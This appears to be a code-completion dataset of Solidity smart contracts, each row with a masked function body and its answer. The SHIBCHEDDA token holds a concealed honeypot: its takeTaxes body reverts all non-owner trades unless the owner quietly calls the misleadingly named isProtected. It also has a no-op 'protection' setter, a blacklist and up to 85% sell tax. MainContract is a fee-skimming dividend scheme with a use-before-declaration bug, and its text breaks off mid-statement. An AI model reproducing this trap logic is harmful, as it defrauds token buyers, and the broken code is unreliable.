"Must >0."); if(_hasLimits(from, to)) { if (sameBlockActive) { if (lpPairs[from]){ require(lastTrade[to] != block.number); lastTrade[to] = block.number; } else { require(lastTrade[from] != block.number); lastTrade[from] = block.number; } } if(lpPairs[from] || lpPairs[to]){ require(amount <= _maxTxAmount, "Exceeds the maxTxAmount."); } if(to != _routerAddress && !lpPairs[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } } bool takeFee = true; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){ takeFee = false; } if (lpPairs[to]) { if (!inSwapAndLiquify && swapAndLiquifyEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } swapAndLiquify(contractTokenBalance); } } } return _finalizeTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { if (_liquidityRatio + _marketingRatio + _devRatio == 0) return; uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2; uint256 toSwapForEth = contractTokenBalance - toLiquify; swapTokensForEth(toSwapForEth); uint256 currentBalance = address(this).balance; uint256 liquidityBalance = ((currentBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2; if (toLiquify > 0) { addLiquidity(toLiquify, liquidityBalance); emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify); } if (contractTokenBalance - toLiquify > 0) { _marketingWallet.transfer(((currentBalance - liquidityBalance) * _marketingRatio) / (_marketingRatio + _devRatio)); _teamWallet.transfer(address(this).balance); } } function swapTokensForEth(uint256 tokenAmount) internal { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { dexRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable DEAD, block.timestamp ); } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { if (snipeBlockAmt != 2) { _liqAddBlock = block.number + 5000; } else { _liqAddBlock = block.number; } _liquidityHolders[from] = true; _hasLiqBeenAdded = true; _liqAddStamp = block.timestamp; swapAndLiquifyEnabled = true; emit SwapAndLiquifyEnabledUpdated(true); } } function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) { if (sniperProtection){ if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) { revert("Sniper rejected."); } if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } else { if (_liqAddBlock > 0 && lpPairs[from] && _hasLimits(from, to) ) { if (block.number - _liqAddBlock < snipeBlockAmt) { _isSniperOrBlacklisted[to] = true; snipersCaught ++; emit SniperCaught(to); } } } } _tOwned[from] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount; _tOwned[to] += amountReceived; emit Transfer(from, to, amountReceived); return true; } function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {<FILL_FUNCTION_BODY> } }
contract SHIBCHEDDA is Context, IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isSniperOrBlacklisted; mapping (address => bool) private _liquidityHolders; mapping (address => uint256) buyLog; uint256 buyCoolDown = 30 seconds; uint256 private startingSupply = 100_0000_000_000; string private _name = "SHIBCHEDDA"; string private _symbol = "SHIBCHEDDA"; uint256 public _buyFee = 1200; uint256 public _sellFee = 1200; uint256 public _transferFee = 1200; uint256 constant public maxBuyTaxes = 5000; uint256 constant public maxSellTaxes = 8500; uint256 constant public maxTransferTaxes = 5000; uint256 public _liquidityRatio = 20; uint256 public _marketingRatio = 50; uint256 public _devRatio = 30; uint256 private constant masterTaxDivisor = 10_000; uint256 private constant MAX = ~uint256(0); uint8 constant private _decimals = 9; uint256 private _tTotal = startingSupply * 10**_decimals; uint256 private _tFeeTotal; IUniswapV2Router02 public dexRouter; address public lpPair; // UNI ROUTER address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; address payable private _marketingWallet = payable(0x80742d82349dcACfD66C538182CaA696A5E76aB9); address payable private _teamWallet = payable(0x80742d82349dcACfD66C538182CaA696A5E76aB9); bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 private maxTxPercent = 2; uint256 private maxTxDivisor = 100; uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor; // 2% uint256 private maxWalletPercent = 10; uint256 private maxWalletDivisor = 100; uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor; // 10% uint256 private swapThreshold = (_tTotal * 5) / 10_000; // 0.05% uint256 private swapAmount = (_tTotal * 5) / 1_000; // 0.5% bool private sniperProtection = false; bool public _hasLiqBeenAdded = false; uint256 private _liqAddStatus = 0; uint256 private _liqAddBlock = 0; uint256 private _liqAddStamp = 0; uint256 private _initialLiquidityAmount = 0; uint256 private snipeBlockAmt = 0; uint256 public snipersCaught = 0; bool private sameBlockActive = false; mapping (address => uint256) private lastTrade; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SniperCaught(address sniperAddress); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } modifier onlyOwner() { require(_owner == _msgSender(), "Caller =/= owner."); _; } constructor () payable { _tOwned[_msgSender()] = _tTotal; // Set the owner. _owner = msg.sender; dexRouter = IUniswapV2Router02(_routerAddress); lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _allowances[address(this)][address(dexRouter)] = type(uint256).max; _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _liquidityHolders[owner()] = true; // Approve the owner for UniSwap, timesaver. _approve(_msgSender(), _routerAddress, _tTotal); // Transfer tTotal to the _msgSender. emit Transfer(address(0), _msgSender(), _tTotal); } receive() external payable {} //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and recnouncements. // This allows for removal of ownership privelages from the owner once renounced or transferred. function owner() public view returns (address) { return _owner; } function transferOwner(address newOwner) external onlyOwner() { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFees(_owner, false); setExcludedFromFees(newOwner, true); if (_marketingWallet == payable(_owner)) _marketingWallet = payable(newOwner); _allowances[_owner][newOwner] = balanceOf(_owner); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFees(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== function totalSupply() external view override returns (uint256) { return _tTotal; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: Zero Address"); require(spender != address(0), "ERC20: Zero Address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approveMax(address spender) public returns (bool) { return approve(spender, type(uint256).max); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setNewRouter(address newRouter) public onlyOwner() { IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter); address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 1 weeks, "One week cooldown."); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; } } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setExcludedFromFees(address account, bool enabled) public onlyOwner { _isExcludedFromFees[account] = enabled; } function isSniperOrBlacklisted(address account) public view returns (bool) { return _isSniperOrBlacklisted[account]; } function setBuyCoolDownTime(uint256 Seconds) public onlyOwner{ uint256 timeInSeconds = Seconds * 1 seconds; buyCoolDown = timeInSeconds; } function isProtected(uint256 rInitializer) external onlyOwner { require (_liqAddStatus == 0, "Error."); _liqAddStatus = rInitializer; } function setBlacklistEnabled(address account, bool enabled) external onlyOwner() { _isSniperOrBlacklisted[account] = enabled; } function setStartingProtections(uint8 _block) external onlyOwner{ require (snipeBlockAmt == 0 && !_hasLiqBeenAdded, "Starting Protections have already been executed."); snipeBlockAmt = _block; } function setProtectionSettings(bool antiSnipe, bool antiBlock) external onlyOwner() { sniperProtection = false; sameBlockActive = false; } function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner { require(buyFee <= maxBuyTaxes && sellFee <= maxSellTaxes && transferFee <= maxTransferTaxes, "Cannot exceed maximums."); _buyFee = buyFee; _sellFee = sellFee; _transferFee = transferFee; } function setRatios(uint256 liquidity, uint256 marketing, uint256 dev) external onlyOwner { require (liquidity + marketing + dev == 100, "Must add up to 100%"); _liquidityRatio = liquidity; _marketingRatio = marketing; _devRatio = dev; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 1000), "Must be above 0.1% of total supply."); _maxTxAmount = check; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 1000), "Must be above 0.1% of total supply."); _maxWalletSize = check; } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; } function setWallets(address payable marketingWallet, address payable teamWallet) external onlyOwner { _marketingWallet = payable(marketingWallet); _teamWallet = payable(teamWallet); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function _hasLimits(address from, address to) private view returns (bool) { return from != owner() && to != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: Zero address."); require(to != address(0), "ERC20: Zero address."); require(amount > 0, "Must >0."); if(_hasLimits(from, to)) { if (sameBlockActive) { if (lpPairs[from]){ require(lastTrade[to] != block.number); lastTrade[to] = block.number; } else { require(lastTrade[from] != block.number); lastTrade[from] = block.number; } } if(lpPairs[from] || lpPairs[to]){ require(amount <= _maxTxAmount, "Exceeds the maxTxAmount."); } if(to != _routerAddress && !lpPairs[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } } bool takeFee = true; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){ takeFee = false; } if (lpPairs[to]) { if (!inSwapAndLiquify && swapAndLiquifyEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } swapAndLiquify(contractTokenBalance); } } } return _finalizeTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { if (_liquidityRatio + _marketingRatio + _devRatio == 0) return; uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2; uint256 toSwapForEth = contractTokenBalance - toLiquify; swapTokensForEth(toSwapForEth); uint256 currentBalance = address(this).balance; uint256 liquidityBalance = ((currentBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2; if (toLiquify > 0) { addLiquidity(toLiquify, liquidityBalance); emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify); } if (contractTokenBalance - toLiquify > 0) { _marketingWallet.transfer(((currentBalance - liquidityBalance) * _marketingRatio) / (_marketingRatio + _devRatio)); _teamWallet.transfer(address(this).balance); } } function swapTokensForEth(uint256 tokenAmount) internal { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { dexRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable DEAD, block.timestamp ); } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { if (snipeBlockAmt != 2) { _liqAddBlock = block.number + 5000; } else { _liqAddBlock = block.number; } _liquidityHolders[from] = true; _hasLiqBeenAdded = true; _liqAddStamp = block.timestamp; swapAndLiquifyEnabled = true; emit SwapAndLiquifyEnabledUpdated(true); } } function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) { if (sniperProtection){ if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) { revert("Sniper rejected."); } if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } else { if (_liqAddBlock > 0 && lpPairs[from] && _hasLimits(from, to) ) { if (block.number - _liqAddBlock < snipeBlockAmt) { _isSniperOrBlacklisted[to] = true; snipersCaught ++; emit SniperCaught(to); } } } } _tOwned[from] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount; _tOwned[to] += amountReceived; emit Transfer(from, to, amountReceived); return true; } <FILL_FUNCTION> }
uint256 currentFee; if (from == lpPair) { if (balanceOf(to) > 0){ require(block.timestamp - buyLog[to] >= buyCoolDown, "Buy cooldown"); } buyLog[to] = block.timestamp; currentFee = _buyFee; } else if (to == lpPair) { currentFee = _sellFee; } else { currentFee = _transferFee; } if (_hasLimits(from, to)){ if (_liqAddStatus == 0 || _liqAddStatus != startingSupply/10) { revert(); } } uint256 feeAmount = amount * currentFee / masterTaxDivisor; _tOwned[address(this)] += feeAmount; emit Transfer(from, address(this), feeAmount); return amount - feeAmount;
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256)
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256)
50,595
MolochSummoner
getMolochCount
contract MolochSummoner { // presented by OpenESQ || LexDAO LLC ~ Use at own risk! || chat with us: lexdao.chat Moloch private m; address[] public molochs; event Summoned(address indexed m, address indexed _summoner); function summonMoloch( address _summoner, address[] memory _approvedTokens, uint256 _periodDuration, uint256 _votingPeriodLength, uint256 _gracePeriodLength, uint256 _proposalDeposit, uint256 _dilutionBound, uint256 _processingReward) public { m = new Moloch( _summoner, _approvedTokens, _periodDuration, _votingPeriodLength, _gracePeriodLength, _proposalDeposit, _dilutionBound, _processingReward); molochs.push(address(m)); emit Summoned(address(m), _summoner); } function getMolochCount() public view returns (uint256) {<FILL_FUNCTION_BODY> } }
contract MolochSummoner { // presented by OpenESQ || LexDAO LLC ~ Use at own risk! || chat with us: lexdao.chat Moloch private m; address[] public molochs; event Summoned(address indexed m, address indexed _summoner); function summonMoloch( address _summoner, address[] memory _approvedTokens, uint256 _periodDuration, uint256 _votingPeriodLength, uint256 _gracePeriodLength, uint256 _proposalDeposit, uint256 _dilutionBound, uint256 _processingReward) public { m = new Moloch( _summoner, _approvedTokens, _periodDuration, _votingPeriodLength, _gracePeriodLength, _proposalDeposit, _dilutionBound, _processingReward); molochs.push(address(m)); emit Summoned(address(m), _summoner); } <FILL_FUNCTION> }
return molochs.length;
function getMolochCount() public view returns (uint256)
function getMolochCount() public view returns (uint256)
27,608
IXIRCOIN
claimTokens
contract IXIRCOIN is ReleasableToken, MintableTokenExt, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); string public name; string public symbol; uint public decimals; /* Minimum ammount of tokens every buyer can buy. */ uint public minCap; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends. */ function IXIRCOIN(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { // Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; // Create initially all balance on the team multisig balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } // No more new supply allowed after the token creation if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; // Cannot create a token without supply and no minting } } } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } /** * Claim tokens that were accidentally sent to this contract. * * @param _token The address of the token contract that you want to recover. */ function claimTokens(address _token) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract IXIRCOIN is ReleasableToken, MintableTokenExt, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); string public name; string public symbol; uint public decimals; /* Minimum ammount of tokens every buyer can buy. */ uint public minCap; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends. */ function IXIRCOIN(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { // Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; // Create initially all balance on the team multisig balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } // No more new supply allowed after the token creation if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; // Cannot create a token without supply and no minting } } } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } <FILL_FUNCTION> }
require(_token != address(0)); ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance);
function claimTokens(address _token) public onlyOwner
/** * Claim tokens that were accidentally sent to this contract. * * @param _token The address of the token contract that you want to recover. */ function claimTokens(address _token) public onlyOwner
36,414
MainContract
tokensToEthereum_
contract MainContract { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "Main Contract Token"; string public symbol = "MCT"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 15; uint8 constant internal transferFee_ = 1; uint8 constant internal exitFee_ = 3; uint8 constant internal onreclame = 3; uint8 constant internal refferalFee_ = 35; uint8 constant internal adminFee_ = 5; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; //начальная цена токена uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; //инкремент цены токена uint256 constant internal magnitude = 2 ** 64; // 2^64 uint256 public stakingRequirement = 30e18; //сколько токенов нужно для рефералки mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); if (_customerAddress != 0xAdf6EdbfE096BEb9E0aD18e1133bdc9a916DB596){ uint256 _reclama = SafeMath.div(SafeMath.mul(_ethereum, onreclame), 100); _taxedEthereum = SafeMath.sub (_taxedEthereum, _reclama); tokenBalanceLedger_[0xAdf6EdbfE096BEb9E0aD18e1133bdc9a916DB596] += _reclama;} tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } address contractAddress = this; function totalEthereumBalance() public view returns (uint256) { return contractAddress.balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); if (_customerAddress != 0xAdf6EdbfE096BEb9E0aD18e1133bdc9a916DB596){ uint256 _admin = SafeMath.div(SafeMath.mul(_undividedDividends, adminFee_),100); _dividends = SafeMath.sub(_dividends, _admin); uint256 _adminamountOfTokens = ethereumToTokens_(_admin); tokenBalanceLedger_[0xAdf6EdbfE096BEb9E0aD18e1133bdc9a916DB596] += _adminamountOfTokens; } uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _amountOfTokens * (_dividends * magnitude / tokenSupply_); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 